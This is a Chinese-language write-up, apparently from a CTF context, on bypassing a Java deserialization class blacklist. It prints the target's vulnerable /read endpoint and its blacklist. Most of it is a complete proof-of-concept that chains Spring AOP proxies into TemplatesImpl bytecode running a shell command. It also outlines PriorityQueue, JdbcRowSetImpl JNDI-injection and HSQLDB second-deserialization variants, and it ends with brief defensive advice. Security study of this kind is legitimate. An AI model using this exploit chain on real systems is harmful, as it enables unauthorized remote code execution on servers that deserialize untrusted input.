justDeserialize 绕过黑名单挖掘利用链
字数 1357 2025-08-30 06:50:28
JustDeserialize 绕过黑名单挖掘利用链技术分析
前言
本文详细分析了一种绕过Java反序列化黑名单限制的技术,通过Spring AOP原生链和JdbcRowSetImpl攻击实现RCE。该技术适用于存在自定义反序列化黑名单的场景,特别是在CTF比赛和实际渗透测试中遇到类似限制时非常有用。
源码分析
目标系统分析
目标系统是一个Java Web应用,主要包含以下关键组件:
- 路由代码 (
backdoor类):
@RestController
public class backdoor {
static String banner = "Welcome to java";
@RequestMapping({"/read"})
public String read(@RequestBody String body) {
if (body != null) {
try {
byte[] data = Base64.getDecoder().decode(body);
String temp = new String(data);
// 第一层防护:字符串内容检查
if (temp.contains("naming") || temp.contains("com.sun") || temp.contains("jdk.jfr")) {
return "banned";
}
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
Object object = objectInputStream.readObject();
return object.getClass().toString();
} catch (Exception e) {
return e.toString();
}
}
return "ok";
}
}
- 自定义反序列化类 (
MyObjectInputStream):
public class MyObjectInputStream extends ObjectInputStream {
private String[] denyClasses;
public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {
super(var1);
ArrayList<String> classList = new ArrayList<>();
// 从blacklist.txt加载黑名单
InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt");
BufferedReader var2 = new BufferedReader(new InputStreamReader(file));
while (true) {
String var4 = var2.readLine();
if (var4 != null) {
classList.add(var4.trim());
} else {
this.denyClasses = new String[classList.size()];
classList.toArray(this.denyClasses);
return;
}
}
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
// 第二层防护:类名黑名单检查
for (String denyClass : this.denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
黑名单内容
黑名单文件blacklist.txt包含以下被禁止的类:
javax.management.BadAttributeValueExpException
com.sun.org.apache.xpath.internal.objects.XString
java.rmi.MarshalledObject
java.rmi.activation.ActivationID
javax.swing.event.EventListenerList
java.rmi.server.RemoteObject
javax.swing.AbstractAction
javax.swing.text.DefaultFormatter
java.beans.EventHandler
java.net.Inet4Address
java.net.Inet6Address
java.net.InetAddress
java.net.InetSocketAddress
java.net.Socket
java.net.URL
java.net.URLStreamHandler
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
java.rmi.registry.Registry
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.ObjID
java.lang.System
javax.management.remote.JMXServiceUR
javax.management.remote.rmi.RMIConnector
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
javax.swing.UIDefaults$TextAndMnemonicHashMap
java.rmi.server.UnicastRemoteObject
java.util.Base64
java.util.Comparator
java.util.HashMap
java.util.logging.FileHandler
java.security.SignedObject
javax.swing.UIDefaults
Spring AOP原生链利用
利用原理
Spring AOP原生链利用了Spring框架的动态代理机制,通过构造特定的代理对象,可以在反序列化过程中触发任意方法调用。该链不依赖常见的黑名单类,因此可以绕过大多数反序列化防护。
完整POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import org.springframework.core.Ordered;
import java.lang.reflect.*;
import java.lang.reflect.Proxy;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
public class main {
public static void main(String[] args) throws Exception {
// 1. 创建恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
// 2. 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Reflections.setFieldValue(templates, "_bytecodes", bytes);
Reflections.setFieldValue(templates, "_name", "GSBP");
Reflections.setFieldValue(templates, "_tfactory", null);
Method method = templates.getClass().getMethod("newTransformer");
// 3. 构造Spring AOP链
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);
AspectJAroundAdvice advice = new AspectJAroundAdvice(
method,
new AspectJExpressionPointcut(),
factory
);
// 4. 创建代理对象
Proxy proxy1 = (Proxy) getAProxy(advice, Advice.class);
// 5. 触发反序列化
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
Reflections.setFieldValue(badAttributeValueExpException, "val", proxy1);
Util.deserialize(Util.serialize(badAttributeValueExpException));
}
// 创建B类型代理
public static Object getBProxy(Object obj, Class[] clazzs) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);
}
// 创建A类型代理
public static Object getAProxy(Object obj, Class<?> clazz) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj;
DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor(
(Advice) getBProxy(advice, new Class[]{MethodInterceptor.class})
);
advisedSupport.addAdvisor(advisor);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
}
}
调用链分析
- 反序列化入口:
BadAttributeValueExpException.readObject() - 触发代理调用:当访问
val属性时会触发代理的invoke方法 - Spring AOP处理:
JdkDynamicAopProxy.invoke()ReflectiveMethodInvocation.proceed()invokeAdviceMethodWithGivenArgs()- 关键sink点
- 执行恶意代码:最终调用
TemplatesImpl.newTransformer()执行字节码
JdbcRowSetImpl攻击
当BadAttributeValueExpException被黑名单禁止时,可以使用PriorityQueue触发compare方法,结合JNDI注入实现攻击。
修改后的POC关键部分
// 使用PriorityQueue代替BadAttributeValueExpException
PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator) proxy1);
queue.add(1);
queue.add(1);
// 序列化并触发
byte[] serialized = Serializer.serialize(queue);
Deserializer.deserialize(serialized);
JNDI攻击流程
- 构造恶意的JdbcRowSetImpl对象
- 设置dataSourceName指向恶意LDAP/RMI服务器
- 当触发
compare方法时,会尝试连接设置的JNDI地址 - 恶意服务器返回Reference对象,触发远程类加载
HSQLDB二次反序列化
当目标环境包含HSQLDB依赖时,可以利用其JDBC驱动实现二次反序列化:
- 第一次反序列化:通过允许的类触发JDBC连接
- HSQLDB处理:恶意JDBC URL指向包含序列化对象的资源
- 二次反序列化:HSQLDB在初始化时会反序列化这些对象,此时不再受黑名单限制
组合攻击优势
- 第一次反序列化只需触发JDBC连接,可以使用简单类
- 第二次反序列化发生在HSQLDB内部,完全绕过应用层防护
- 可以结合Jackson等原生链实现更复杂的攻击
防御建议
- 使用白名单而非黑名单机制
- 升级Spring框架到最新版本
- 限制JNDI查找功能
- 监控异常的JDBC连接行为
- 使用SecurityManager限制敏感操作
总结
本文详细分析了绕过Java反序列化黑名单的多种技术,重点介绍了Spring AOP原生链的利用原理和实现方式。通过组合使用这些技术,攻击者可以在严格的黑名单限制下实现RCE。防御方面需要采取多层次的安全措施,单纯依赖黑名单无法提供足够的安全保障。